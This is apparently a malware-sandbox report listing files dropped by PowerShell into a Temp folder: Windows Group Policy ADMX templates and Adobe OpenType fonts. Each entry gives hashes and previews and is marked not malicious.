name="CAT_WindowsErrorReportingConsent" displayNa

C:\Users\user\AppData\Local\Temp\file\Resource\EventForwarding.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1996
Entropy (8bit):	5.09486916247217
Encrypted:	false
SSDEEP:	48:z08gmVmLfBofc4ID+NbEfuQWwxY9RsuQBwZa1FG:SmVQZoU4IgEfGwxY96RwZa1FG
MD5:	EF4AD318EA464CDE69829A9201D7D526
SHA1:	A3B7CC6EBB70C45CD752121D0AFA30A35B72C9D3
SHA-256:	8E3854B06F7DFEF7C0E68E1258F1D33A4B888A97F075A5D25757FA987ACB5704
SHA-512:	0ABCA7FA5C44572841FAB002F19D05756F5566B8E3CE6D172662A37AE7053D9D0838639E2EC5843EC8D5C9C05205DC6DD150EB4F91ECEBEFEF6AFEFB370D869B
Malicious:	false
Preview:	<?xml version="1.0"?>..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.... <policyNamespaces>.. <target prefix="eventforwarding" namespace="Microsoft.Policies.EventForwarding" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.....<supersededAdm fileName="EventForwarding.adm"/>.....<resources minRequiredRevision="1.0"/>.....<categories>....<category name="EventForwarding" displayName="$(string.EventForwarding)">.....<parentCategory ref="windows:WindowsComponents"/>....</category>...</categories>.....<policies>....<policy name="SubscriptionManager" class="Machine" displayName="$(string.SubscriptionManager)" explainText="$(string.Subscription_Help)" presentation="$(presentation.SubscriptionManager)" key="Software\Policies\Mic

C:\Users\user\AppData\Local\Temp\file\Resource\EventLog.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (301), with CRLF line terminators
Category:	dropped
Size (bytes):	12429
Entropy (8bit):	5.163642642864443
Encrypted:	false
SSDEEP:	384:n+JbARudj12KoAHMQKJm8ARuAjf2Z8oAQ8M5qsARuLja2rxoAJMQ3iNCARuGjE2G:8g8DH938gc8DQ8KrgYDJ95gJDD9C
MD5:	5FEA05DAF55C86EF5747510D7AFE9BC4
SHA1:	976E7DFED51585CA2243C1CA73E0C7FB164F43D5
SHA-256:	3C2C96E46BEAB1D525E31D9994E1EA20FF7793495506A934A9FEAA285086EBAD
SHA-512:	7413DE53C1853142AD965BDDFAB5C902C006C8FC20B5C59D8BA30710E1E512E53EF7A9434F8CCB455EB4010889077817D8BD06FA6C479BC8D75B37EB77F2BCD5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="eventlog" namespace="Microsoft.Policies.EventLogs" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="EventLogCategory" displayName="$(string.EventLogCategory)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="EventLog_Application" displayName="$(string.EventLog_Application)" explainText="$(string.ChannelName_Help)">.. <parentCategory ref="EventLogCategory" />.. </category>.. <category name="EventLog_Security" displayName="$(string.EventLog_Security)" e

C:\Users\user\AppData\Local\Temp\file\Resource\EventViewer.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (373), with CRLF line terminators
Category:	dropped
Size (bytes):	2528
Entropy (8bit):	5.074435249870681
Encrypted:	false
SSDEEP:	48:3geDw08gmDufWofHKnKOQ5t8uGNPjwUj+E1uprNPjw7j+I1yIANPjwZj+oC:QeD/mDuOovKnKn5WuGtwUqE1Ctw7qI1O
MD5:	CC37E29F7F6537A88C0CB06178277445
SHA1:	CDE4C2C8483576D1BCD673057FA6E854114BD476
SHA-256:	FC5CDD5A4C527F56D1C829CF18AB2B27BAFC0667B31562F8F4C9C50BE16329B8
SHA-512:	C6A437ED94B09EDD268966C334FF152A6C1D4291F84CB585A360D95B6FAFC41E71A75E83EC01310BA0C607031ED49BFA8D994D6E2B9D098293B0B589549B6AB5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="eventviewer" namespace="Microsoft.Policies.EventViewer" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="EventViewer" displayName="$(string.EventViewer)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="EventViewer_RedirectionProgram" class="Machine" displayName="$(string.EventViewer_RedirectionProgram)" explainText="$(string.EventViewer_RedirectionProgram_Help)" presentation="$(presentation.EventViewer_RedirectionProgram)" key="Soft

C:\Users\user\AppData\Local\Temp\file\Resource\Explorer.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (315), with CRLF line terminators
Category:	dropped
Size (bytes):	4373
Entropy (8bit):	5.116542527254406
Encrypted:	false
SSDEEP:	96:QeD/mDZJOo75ZImdUIbd8LVjQIMRdnpNl3OdLXV7lQdPSFqRWIw8d/+1Dl3q:vYZsQUMAjgpr3uXVZCSFqRQ8d/+36
MD5:	56A447CE75CDCA4027B39A56886733E5
SHA1:	CFF97EAC5098839FD0235318B1FE3514E7D63DC4
SHA-256:	A6E081B98BFA5DCDB3D68B90ADE9260C97F8A4394FEC8D73C92A6B0922C65061
SHA-512:	CEAA89E361E4FBFC7443D32B25B7981A49C0AF572EBD7A800C5D3C9FFDF840059E6480F3A2FFF7B962DBF4BA400470CAF16764D50236F72D53CE2517877803EB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="explorer" namespace="Microsoft.Policies.WindowsExplorer2" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="AlwaysShowClassicMenu" class="User" displayName="$(string.AlwaysShowClassicMenu)" explainText="$(string.AlwaysShowClassicMenu_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="AlwaysShowClassicMenu">.. <parentCategory ref="windows:WindowsExplorer" />.. <supportedOn ref="windows:SUPPORTED_WindowsVista" />.. <enabledValue>.. <decimal value="1" />.. <

C:\Users\user\AppData\Local\Temp\file\Resource\ExternalBoot.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (355), with CRLF line terminators
Category:	dropped
Size (bytes):	2651
Entropy (8bit):	5.201538203225415
Encrypted:	false
SSDEEP:	48:cgeDw08gmDkCfrVofHKnKO3PQ5004UFH3EqgXGd0d540F53EsgXGd0M4rF3k3EZe:LeD/mDkCzVovKnKO34501KH3EnWd0cqP
MD5:	ADA14C9E12EBB088628C86ADA31184E6
SHA1:	A2578366538E3DE9EA2C047372217A3FF3FF25FB
SHA-256:	4BD2D8E664271482ADFDB53411298577D2BB7C5CF18A6FFF30FD8F40ABB17FF4
SHA-512:	147A0D77B2C8E66A97D22E62D15248FC93C0A82D8529628A9612C7AAC7DC48CCB3CA8FDA317CCC0372E0C9001E8CDF8FA8D12E47D84412DF3DDEE0B1BEBBD93F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="portableoperatingsystem" namespace="Microsoft.Policies.PortableOperatingSystem" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="PortableOperatingSystem" displayName="$(string.PortableOperatingSystem)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="PortableOperatingSystem_Launcher" clientExtension="{BA649533-0AAC-4E04-B9BC-4DBAE0325B12}" class="Machine" displayName="$(string.PortableOperatingSystem_Launcher_DisplayName)" explainText="

C:\Users\user\AppData\Local\Temp\file\Resource\FileHistory.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1287
Entropy (8bit):	5.139416965571643
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtC6fW0s6fE3+dK9lKE4cpKjcp+19T1VWOfuF+2hJJo:3geDw08gmDOfWofHKnKbQ5g19T1kOfGq
MD5:	9194C309EE2F838C0CA19B46A964011F
SHA1:	E182317BF930CF8A55EC91D6AFA59650C81A487B
SHA-256:	8B5A944BD52F41EFB3852894FF8CEF9EE914C336F7BF1EE30E150C013FAE423F
SHA-512:	263878DAE10653365A8885EF8407471FF57546FB0BA1731A804E0BCF6EE2CA32BCD992288EED9BE9A16E14EE889851519CC3A77A571BBA8DF8C71290E3CE656D
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="FileHistory" namespace="Microsoft.Policies.FileHistory" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="FileHistory" displayName="$(string.FileHistoryName)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="DisableFileHistory" class="Machine" displayName="$(string.DisableFileHistory)" explainText="$(string.DisableFileHistory_explanation)" key="Software\Policies\Microsoft\Windows\FileHistory" valueName="Disabled">.. <parentCatego

C:\Users\user\AppData\Local\Temp\file\Resource\FileRecovery.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (351), with CRLF line terminators
Category:	dropped
Size (bytes):	2141
Entropy (8bit):	5.018555759959519
Encrypted:	false
SSDEEP:	48:3geDw08gmDRftofHKnKa55+u44qhhGwv4sOC:QeD/mDRVovKnK25P44oGwvKC
MD5:	5D8BF7A08648C2FEF2FB9F64D38E00E4
SHA1:	B8C7AA621256AC265B6DECA6426FECA639D86676
SHA-256:	F0746A64341606DCFFF61C65E4DF6FBA38431F2804977CCA57A049C72DAC51FC
SHA-512:	B00EEFFB4A2B42C569202F9510D22712CF2DA678264858E26227CC45A81893C643FB470FD5C23E8822489BEB5E2A86E4A260C0EC1478DCA37BFCF6FB6D6C2130
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="filerecovery" namespace="Microsoft.Policies.FileRecovery" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WdiScenarioCategory" displayName="$(string.WdiScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories>.. <policies>.. <policy name="WdiScenarioExecutionPolicy" class="Machine" displayName="$(string.WdiScenarioExecutionPolicy)" explainText="$(string.WdiScenarioExecutionPolicyExplain)" presentation="$(presentation.WdiScenarioExecutionPolicy)" key="SO

C:\Users\user\AppData\Local\Temp\file\Resource\FileRevocation.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1803
Entropy (8bit):	4.956126358484627
Encrypted:	false
SSDEEP:	48:RDrX884MfLfulcMeUKnKVHR/5bcMgzte+fFwJBJ3:RDrz4MzGTKnKVx/5gMgzte0wJBJ3
MD5:	5B635E854B42397C1A31978B0AA68DC6
SHA1:	AC6D0C2F261CBF50A5B26FEB85EA476237291CCE
SHA-256:	59BB7CE0E047B1ABF9D5781D90C78672C616FD607BBA129E9409808E1C9C0F00
SHA-512:	020648E09520AAE38ED8E05960324297C872629F9E1D50595B8061D6E9569D37853D281224A9FF42EE081F17C34F29B0FAE69EA90FC6887414CBE33D16B7B305
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>.... (c) Microsoft Corporation --><policyDefinitions.. xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.0".. schemaVersion="1.0".. >.. Namespace definition for file revocation.-->.. <policyNamespaces>.. <target.. namespace="Microsoft.Policies.FileRevocation".. prefix="filerevocation".. />.. <using.. namespace="Microsoft.Policies.Windows".. prefix="windows".. />.. </policyNamespaces>.. Specify minimum revision level of corresponding ADML file -->.. <resources minRequiredRevision="1.0"/>.. Specify a FileRevocation Catagory for these settings -->.. <categories>.. <category.. displayName="$(string.FileRevocationCategory)".. name="FileRevocationCategory".. >.. <parentCateg

C:\Users\user\AppData\Local\Temp\file\Resource\FileServerVSSProvider.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	5.139296766438305
Encrypted:	false
SSDEEP:	24:JdgeDwjo82t4+3FpKt+G6f3EVS0s6fEYs6f5X+vK9lKBZEP5ZEPxCOpKjcpEouGN:3geDw08GDpLfYSofbf8KnKBO5OE25NrN
MD5:	58EA89236262B1F44B846D0D20561E78
SHA1:	3B5AFFA9DB159DF18F00BA99767078A70F996AF0
SHA-256:	F68917EF2598AF9596F27B56A9D090A04FC4F7BC8D61568AC35ABA9F4674E45E
SHA-512:	ED102F45253E38433BEBF1E16C88EFF0EB1276324DB6B4E33944C1355A83EB38145177754D17ABBDCEBF628BC47653F363910441E56E16E34A268B53FCE6711E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.2" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="Provider" namespace="Microsoft.Policies.FileShareShadowCopy.Provider" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" /> .. </policyNamespaces>.. <resources minRequiredRevision="1.2" />.. <categories>.. <category name="Cat_FileShareShadowCopyProvider" displayName="$(string.Cat_FileShareShadowCopyProvider)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="Pol_EncryptProtocol" class="Machine" displayName="$(string.Pol_EncryptProtocol)" explainText="$(s

C:\Users\user\AppData\Local\Temp\file\Resource\FileSys.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	6779
Entropy (8bit):	4.784030430716553
Encrypted:	false
SSDEEP:	192:sYl9Bi4JFLHTSRPTsOyA0VXAQsMAy5PVzRMS6l0TE:ztJFLHTSRPTsOylXgMf9zRMV2E
MD5:	499E7751B019078A8A997D67E8805686
SHA1:	8D3BC566A990569DCD87A4862F4EA74B5A8D7696
SHA-256:	BC713BC684B0BDDA9342DA9FA7E36CAF7F328F32915144C6ECA49B674917DF88
SHA-512:	0CCB75C55EEDDFAAAF658087904BFCA12C520D542789527E1248785EAD66BF9F3DE8478B2661814F549C6EC0BF8EBAEFA1EC250199B1A6E3CCF95F6F60637D12
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="filesys" namespace="Microsoft.Policies.FileSys" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>... <category name="Filesystem" displayName="$(string.Filesystem)">.. <parentCategory ref="windows:System"/>.. </category>.. <category name="NTFS" displayName="$(string.NTFS)">.. <parentCategory ref="Filesystem" />.. </category>.. </categories>.. <policies>.. <policy name="SymlinkEvaluation" class="Machine" displayName="$(string.SymlinkEvaluation)" explainText="$(string.SymlinkEvalExplain)" presentation="$(prese

C:\Users\user\AppData\Local\Temp\file\Resource\Font\AdobePIStd.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	85552
Entropy (8bit):	7.398236775028891
Encrypted:	false
SSDEEP:	1536:PmsMC/asb+Q+fGZNbDvdtlT9Mnlx643McbQqc80U0zy26RR38e8kscXqHZ3MD4ea:BMjlINbrdFMnP6hcbQq8Bn6IPksF8E
MD5:	8653BFE4C32A8528E981748E28C59570
SHA1:	DEC8DD8CBA986F5852286C8B8E45C6270AEAB65A
SHA-256:	5DBC496C0B5A12D9F9FFDB83A46B9FCDA8D1FC1FCD50832C783BE5E9277A698E
SHA-512:	66E39798CA8BBA9AF51F44E81B77AC1703F488B6361BFB05DE632FBB2726E5F1291F0210BE0FC933459BEA78FA433177B33E34BE977C079C97C5330D6590E7FB
Malicious:	false
Preview:	OTTO.......PBASE.>....<\...:CFF B.n....`../.DSIG......N(....GPOSR.[...<....fGSUB..5...=....ZOS/2..7....@...`cmapC......x....head..{.......6hhea...D.......$hmtxU.7{..H\....maxp.sP....8....namex..R........post...2...@... .......\a&._.<..................x....<...:...............................................s..P..s...............X...K...X...^.2.,............................ADBE... .........:................. .................7.............7...........C...........J...........7.........:.e...................................)...........E.........$._.........n...................................6.............M.........t.a...........M.....................4...........8...........4.A.........H.u. 2002 Adobe Systems Incorporated. All rights reserved.Adobe Pi StdRegular1.060;ADBE;AdobePiStd;ADOBEVersion 1.060;PS 1.010;hotconv 1.0.67;makeotf.lib2.5.33168AdobePiStdAdobe is either a registered trademark or a trademark of Adobe Systems Incorporated in the United States and/or other countries.Adobe

C:\Users\user\AppData\Local\Temp\file\Resource\Font\CourierStd-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	30488
Entropy (8bit):	7.252217241313242
Encrypted:	false
SSDEEP:	768:UYJufmmvVJkJ7pFIJRUQXzUKOXBdbOIYvQXGPgfJVXhU:UYJu+mvPg9eYCzUKOXBdqIWQX4gfVU
MD5:	404952EC4D0AE00DD2F58FB980A99326
SHA1:	2DFA0796BE958109D1558B771C3C8C77049A3945
SHA-256:	A3C25F2EC60F8D44F150CD4E478067B06CC7267FBAAF844DA600CE1C31C6E5C1
SHA-512:	E9F60C1536663B11A8D262A49BD92B80BC619E26408464350A122B4CFA149900DA754C78EA7E84A314F4C914497005409CC83DC8B5F55D725BBA1BD5ACB2CE89
Malicious:	false
Preview:	OTTO.......PBASE......pt...:CFF ..........b.DSIG......w.....GPOS.z....p....RGSUB......q.....OS/2[0.....@...`cmap..~....d....head.9.n.......6hhea...........$hmtx5.1...t.....maxp.~P....8....nameh(..........post.=.5...t... .......h\..._.<..................x........V.................s.....X..........................P..~.....X.........X...K...X...^.4..............................ADBE... ...s.....V..`..........=... .................g.............g...........r......... .v.....................:...............................................$.............:.................................@.&...........f.........t.............f.........4.............,.........2.H.........H.z. 1989, 1990, 1991, 1992, 1993, 1996, 1997, 1998, 2001 Adobe Systems Incorporated. All rights reserved.Courier StdBold2.068;ADBE;CourierStd-Bold;ADOBECourier Std BoldVersion 2.068;PS 2.000;hotconv 1.0.67;makeotf.lib2.5.33168CourierStd-BoldHoward Kettlerhttp://www.adobe.com/typehttp://www.adobe.com/type/legal.html... .1.9.8.9

C:\Users\user\AppData\Local\Temp\file\Resource\Font\CourierStd-BoldOblique.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	31948
Entropy (8bit):	7.268882841938278
Encrypted:	false
SSDEEP:	768:edluzc2NPniJMT9BvYsWShVcbZks6AnkXhUZxX:edluz3piJMpusWShVcbZkfAnk2Z1
MD5:	6804E7413898972E05823ADD91B1DFC5
SHA1:	4DFC3CECD9D3C26AFACA087A69376EB6ABFEDEAF
SHA-256:	698FD9169AD62BD6FAEDD1C8E8637ABC9CC65B3B1A5BA8698242B1447303FBEE
SHA-512:	F89A494AA7DAE22022CB4BDDF911C9FB8F40220C5D49BBA79E5B7F97191FCC2740088437D3E56E6903E0B10AAF5535B4CE08DBE793A0E800D23038196EBF5FC6
Malicious:	false
Preview:	OTTO.......PBASE......v(...:CFF ..li...H..g.DSIG......\|.....GPOS.z....vd...RGSUB......v.....OS/2[1.k...@...`cmap..~.........head...n.......6hhea...0.......$hmtxR.OT..y.....maxp.~P....8....name...........wpost.2.5...(... .......h.j\_.<..................x........V.................s.....X...c......................P..~.....X.........X...K...X.D.^.4..............................ADBE... ...s.....V..`..........=... .......J.........g.............g...........r.........'.}.....................:...............................................$.3...........W...........g...........r...........c...........1...........G.........N.].........,...........t...........,...........4.K.....................2...........H.........................1...........G. 1989, 1990, 1991, 1992, 1993, 1996, 1997, 1998, 2001 Adobe Systems Incorporated. All rights reserved.Courier StdBold Italic2.068;ADBE;CourierStd-BoldOblique;ADOBECourier Std Bold ObliqueVersion 2.068;PS 2.000;hotconv 1.0.67;makeotf.lib2.5.33168CourierS

C:\Users\user\AppData\Local\Temp\file\Resource\Font\CourierStd-Oblique.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	32296
Entropy (8bit):	7.252771161977646
Encrypted:	false
SSDEEP:	768:jhDq/ufETG+B8jqsYTvBTOYDjcXfwMXY6TnP1xaH9UzGb4dmA:jk/uf3YTpIPzo6TtxY9UzGb6
MD5:	71EC484296A30C9379607E36158CA809
SHA1:	6DBA5AFA525BFB38B653E30492D59D839DC7A0C9
SHA-256:	C54815A2729D633E400A6835679613090C20B91DA6CB40FA761AAA475EFB77F5
SHA-512:	0A53ED3EBD858D093CDFC2B2ACC104453C6E211416AE24A93C2A77FEB3C7A5AF8E2A27CA367194F8A6D7294CF36BEC84A3B0C6AF1CCB8047D9B0C72622A9C8DF
Malicious:	false
Preview:	OTTO.......PBASE......w....:CFF ...y...p..i.DSIG......~ ....GPOS.z....w....RGSUB......x.....OS/2Zi.N...@...`cmap..~....@....head...q.......6hhea...8.......$hmtxY.V...{ ....maxp.~P....8....name..h}........post.2.5...P... .......h=D.]_.<..................x........Y.................s.....X...l......................P..~.....X.........X...K...X.D.^.4..............................ADBE... ...s.....Y..`..........=... .......V.........g.............g...........r.........#.x.....................:...............................................$.(...........L...........Z...........g...........m...........z...........H...........^.........F.j.........$...........t...........$...........4.H...........\|.........2...........H.........................H............. 1989, 1990, 1991, 1992, 1993, 1996, 1997, 1998, 2001 Adobe Systems Incorporated. All rights reserved.Courier StdItalic2.068;ADBE;CourierStd-Oblique;ADOBECourier Std Medium ObliqueVersion 2.068;PS 2.000;hotconv 1.0.67;makeotf.lib2.5.33168Cou

C:\Users\user\AppData\Local\Temp\file\Resource\Font\CourierStd.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	30824
Entropy (8bit):	7.22230558667107
Encrypted:	false
SSDEEP:	768:px0Kx7uekYqrdC/MNVO6MFsSStwPHMjz9Qc3:j3RuexqrdGYmJStYHmz913
MD5:	F4C2D3851E2781B2B3FF60A2E34E81AC
SHA1:	779F9FEE6D37C37A03601EC1AB406D055E8E7692
SHA-256:	54CB5C8E9775CB432AFE32B0AF688536354AD04EF9C9F1450EE7C88A73BC884D
SHA-512:	218CF55522D6EDD88AD92ACAA6D440F0F7FF2A0688948A834EF21EFF7CA6A915622723720DAE234E412E788EE7B722261B1A238A12D05C7F63F24D854FDAD43D
Malicious:	false
Preview:	OTTO.......PBASE......q....:CFF ..vN......d.DSIG......x`....GPOS.z....r....RGSUB......rT....OS/2Zh.....@...`cmap..~.........head.E.q.......6hhea...........$hmtx<.8...u`....maxp.~P....8....name.I..........post.=.5....... .......h..Gd_.<..................x........Y.................s.....X..........................P..~.....X.........X...K...X...^.4..............................ADBE... ...s.....Y..`..........=... .......&.........g.............g...........r...........y.....................:...............................................$.............5...........g...........;.................................6.-...........c.........t.w...........c.........4.......................2.;.........H.m............. 1989, 1990, 1991, 1992, 1993, 1996, 1997, 1998, 2001 Adobe Systems Incorporated. All rights reserved.Courier StdRegular2.068;ADBE;CourierStd;ADOBECourier Std MediumVersion 2.068;PS 2.000;hotconv 1.0.67;makeotf.lib2.5.33168CourierStdHoward Kettlerhttp://www.adobe.com/typehttp://www.adobe.

C:\Users\user\AppData\Local\Temp\file\Resource\Font\MinionPro-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	210284
Entropy (8bit):	7.068121028372695
Encrypted:	false
SSDEEP:	6144:3z2HDNf6XZFWrRBPt2a+C5vDgtTBbhRRkBPgdG:3zaNWZFyBPONbhXkBPOG
MD5:	B3870BE83F40B14CB382BD498920A137
SHA1:	08B27BCE2DB468785348F42E39B2E80D9107FB1A
SHA-256:	6AF523A01B268DDAAB5177E6C0DF5024F7192D72B0B1CA9523721FBAA2AA9257
SHA-512:	0979D123BA7D84B564AA0F018AE49ED7A2C4610882E574547ABADE7ABD2E743630CCC82DFE95C3FBE963731E33DF5D34C2E307FD28A2E7670E2AACBE3B87F70E
Malicious:	false
Preview:	OTTO.......PBASEe.]...L....FCFF ..]....<..4.DSIG......5d....GPOS.j....M,....GSUB...G......*.OS/2bq.....@...`cmap_E9.........head..T........6hhea...........$hmtxw..4.......Xmaxp..P....8....name. ._.......mpost...2....... .........+<._.<..........{.......x....................................\|......................P........2.........X...K...X...^.2..............`...............ADBE... ...........h .............. .......2.........g.............g...........q...........u.....................9.....................................k...........z.........$.............q.............................................>.......................r.........................m.........4.o.....................2...........H............... 1990, 1991, 1992, 1994, 1997, 1998, 2000, 2002, 2004 Adobe Systems Incorporated. All rights reserved.Minion ProBold2.113;ADBE;MinionPro-Bold;ADOBEMinion Pro BoldVersion 2.113;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.5900MinionPro-BoldMinion is either a registered trademark or a

C:\Users\user\AppData\Local\Temp\file\Resource\Font\MinionPro-BoldIt.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	251140
Entropy (8bit):	7.049888028137883
Encrypted:	false
SSDEEP:	6144:tj64FsxSslGgShJ2rgoyGgg4sB+73Lc8n+zYBYg:R6MsxS5rxglmOg
MD5:	A7487BEFBF3C7BA8C957D269D9BA24E1
SHA1:	75063A3DB5E857B5565FE8AC9CECA74440CF2EF2
SHA-256:	BEB1CA56F9B4F89FB1549FE63A4BC578D2BD8747F967C1DF26DACD3DED3F0223
SHA-512:	1694A64790AEAC2D789C75A2C664A62D19C3A487730BD368E2C76A78852046E94A158467DBED26783F8EB1C17E0D76E2C3150F6EC82131CC2BBB385EF931C1CD
Malicious:	false
